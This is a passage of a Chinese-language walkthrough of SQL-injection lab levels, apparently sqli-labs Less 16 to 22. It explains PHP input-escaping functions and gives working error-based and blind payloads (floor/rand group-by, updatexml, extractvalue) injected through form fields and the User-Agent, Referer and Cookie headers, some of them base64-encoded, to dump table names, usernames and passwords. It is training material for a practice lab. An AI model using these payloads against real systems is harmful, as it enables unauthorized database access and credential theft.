$passwd='"'.$passwd.'"';

"SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";

测试方法很简单,就是注释尾部语句,尝试闭合语句登陆成功即可

payload:uname=admin") and 1=1#&passwd=admin

这一关依旧显示登陆成功和失败,所以可以使用布尔盲注,当然时间盲注也可以。方法与less5相同。

17、Less 17

这一关可见提示变了,变为了:

要求更改密码, 是一个修改密码的过程,利用的是update语句,与在用select时是一样的,我们仅需要将原先的闭合,构造自己的payload。

当payload为:uname=admin'&passwd=admin时,网页通过无情waf拒绝并羞辱了我们

这是由于uname参数进行了waf处理,使用了 check_input() 函数

check_input()函数内包含了这几个函数:get_magic_quotes_gpc()、stripslashes()、mysql_real_escape_string()、ctype_digit()、intval()

magic_quotes_gpc()函数

get_magic_quotes_gpc()函数取得PHP环境配置的变量magic_quotes_gpc(GPC, Get/Post/Cookie)值。返回0表示本功能关闭,返回1表示本功能打开。
当magic_quotes_gpc打开时,所有的'(单引号)、"(双引号)、(反斜杠)和NULL(空字符)会自动转为含有反斜杠的溢出字符。

addslashes()与stripslashes()函数

addslashes(string)函数返回在预定义字符之前添加反斜杠\的字符串:

单引号 '

双引号 "

反斜杠 \

空字符 NULL

该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。

注意:默认地,PHP对所有的GET、POST和COOKIE数据自动运行addslashes()。所以不应对已转义过的字符串使用addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数get_magic_quotes_gpc()进行检测。

stripslashes(string)函数

删除由addslashes()函数添加的反斜杠。

ctype_digit()函数

ctype_digit(string)函数检查字符串中每个字符是否都是十进制数字,若是则返回TRUE,否则返回FALSE。

mysql_real_escape_string()函数

mysql_real_escape_string(string,connection)

string
必需,规定要转义的字符串

connection
可选,规定MySQL连接。如果未规定,则使用上一个连接

mysql_real_escape_string()函数转义 SQL 语句中使用的字符串中的特殊字符:

\x00
\n
\r
\
'
"
\x1a

如果成功,则该函数返回被转义的字符串。如果失败,则返回FALSE。

本函数将字符串中的特殊字符转义,并考虑到连接的当前字符集,因此可以安全用于mysql_query(),可使用本函数来预防数据库攻击。

intval()函数

intval(var[,base])

var
要转换成integer的数量值

base
转化所使用的进制

intval()函数获取变量的整数值。通过使用指定的进制base转换(默认是十进制),返回变量var的integer数值。intval()不能用于object,否则会产生E_NOTICE错误并返回1。成功时返回var的integer值,失败时返回0。空的array返回0,非空的array返回1,最大的值取决于操作系统。如果base是0,通过检测var的格式来决定使用的进制:如果字符串包括了0x或0X的前缀,使用16进制hex;否则,如果字符串以0开始,使用8进制octal;否则,使用10进制decimal。

我们来看一下check_input()函数的逻辑

  • 若uname非空,截取它的前15个字符。
  • 若php环境变量magic_quotes_gpc打开,去除转义的反斜杠\。
  • 若uname字符串非数字,将其中特殊字符转义;为数字则将其转为数字类型。

所以我们几乎不可能在uname处注入,唯一的注入点在passwd处。

我们在passwd参数引导报错,输入payload:uname=admin&passwd=1'

查询当前数据库名:payload:uname=admin&passwd=1' and (select 1 from (select count(*),concat(database(), '~' , floor (rand(0)*2))as a from information_schema.tables group by a) as b limit 0,1) #

查询当前数据库表名:payload:uname=admin&passwd=1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1), '~' , floor (rand(0)*2))as a from information_schema.tables group by a) as b limit 0,1) #

查询当前表字段:payload:uname=admin&passwd=1' and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name='users' limit 3,1), '~' , floor (rand(0)*2))as a from information_schema.tables group by a) as b limit 0,1) #

查询当前表字段username的值:payload:uname=admin&passwd=1' and (select 1 from (select count(*),concat((select username from users limit 8,1), '~' , floor (rand(0)*2))as a from information_schema.tables group by a) as b limit 0,1) #

查询当前表字段password的值: payload:uname=admin&passwd=1' and (select 1 from (select count(*),concat((select password from users limit 8,1), '~' , floor (rand(0)*2))as a from information_schema.tables group by a) as b limit 0,1) #

18、Less 18

http 头注入基础

我们直接审计代码

首先对输入的参数进行check_input操作

check_input()函数功能为转义危险字符,所以经过转义后的两个参数已经不可能存在注入了

接下来服务端做了insert操作,将http头的useragent参数和ip地址插入了数据库security,可见insert语句是没有任何过滤的,这就造成了注入点。

我们修改useragent 参数:payload:a'

语法出错,因为未闭合单引号,所以尝试闭合单引号:payload:1' and '1' ='1

那么也可以加入语句进行注入,如:payload:1'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1

需要注意的是,这里的末尾语句不可以使用注释符,因为使用注释符后语句会因为无法插入其他字段导致报错。所以使用 and '1' = '1闭合uagent参数后面的单引号

使用group by 报错查询当前数据库:payload:1' and (select 1 from (select count(*),concat(database(), '~' , floor (rand(0)*2))as a from information_schema.tables group by a) as b limit 0,1) and '1' = '1

查询当前数据库内的表:payload : 1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),'~',floor(rand(0)*2))as a from information_schema.tables group by a)as b limit 0,1) and '1' = '1

以此类推即可

19、Less 19

referer头注入

此关卡返回了referer头信息,猜测是referer头注入,因此只需将payload加入referer头即可,方法见Less 17+18

举例: 查询当前数据库内的表:payload : 1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),'~',floor(rand(0)*2))as a from information_schema.tables group by a)as b limit 0,1) and '1' = '1

此关卡我们演示一下利用 extractvalue () 和 updatexml()注入

MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数
UPDATEXML(XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。 
第三个参数:new_value,String格式,替换查找到的符合条件的数据 

updatexml的报错原因很简单,updatexml第二个参数需要的是Xpath格式的字符串。我们输入的显然不符合。故报错由此报错。

PS:高版本的mysql已经修复了该bug

两个函数的返回长度有限,均为32个字符长度,虽然有长度限制但是已经够用了。

这里给出payload:1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1' = '1

查询其他只需将concat函数内语句改变即可

如: payload:1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) and '1' = '1

同理 extractvalue ()函数也是对xml文件的处理,所以语法相同

EXTRACTVALUE (XML_document, XPath_string); 

  • 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 
  • 第二个参数:XPath_string (Xpath格式的字符串). 

作用:从目标XML中返回包含所查询值的字符串

例子:payload: 1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)) and '1' = '1

20、Less 20

cookie 头注入

这一关我们可以看到返回了许多东西,包括useragent、cookie、ip等,我们截取数据包,可见cookie出现了可控的参数uname,所以继续在uname插入查询语句即可。

我们查看源代码:

依然是在两个post参数位置做了check操作,防止注入,但是cookie变量却由于未做参数过滤导致注入

$cookee变量从cookie中的uname参数获取值后,当再次刷新时,会从cookie中读取username,然后进行查询,并回显。

所以控制cookie的uname即可注入

由于未拼接其他语句,所以后续语句'limit 0,1'直接注释即可。

payload: 1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)) #

21、Less 21

此关卡我们输入一个账号密码后,发现回显的cookie变为了base64加密后的值,我们验证一下

可以猜测出服务端代码对cookie的uname参数做了base64处理

我们查看源码

自然post文本框的俩参数肯定不能注入了,$cookee变量对uname进行decode base64操作,且$cookee变量进行了('')处理,所以闭合的时候需要将payload改为:1')

举例: 1') and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)) #

payload:MScpIGFuZCAgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCB0YWJsZV9uYW1lIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9ZGF0YWJhc2UoKSBsaW1pdCAwLDEpLDB4N2UpKSAjICAgIA==

其他语句举一反三即可

22、Less 22

我们继续观察源码,发现源码对参数做了双引号处理

所以将less 21的单引号括号变为双引号即可

payload: 1" and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)) #

payload:MSIgYW5kICBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IHRhYmxlX25hbWUgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpIGxpbWl0IDAsMSksMHg3ZSkpICMgICAgIA==

0x04:结语

目前1-22关已经做完,在这些关卡我们掌握了报错注入、可联合注入、基于布尔的盲注、基于时间的盲注、基于报错的盲注和http头注入。目前只有堆查询未涉及到,我们将会在以后的文章继续介绍。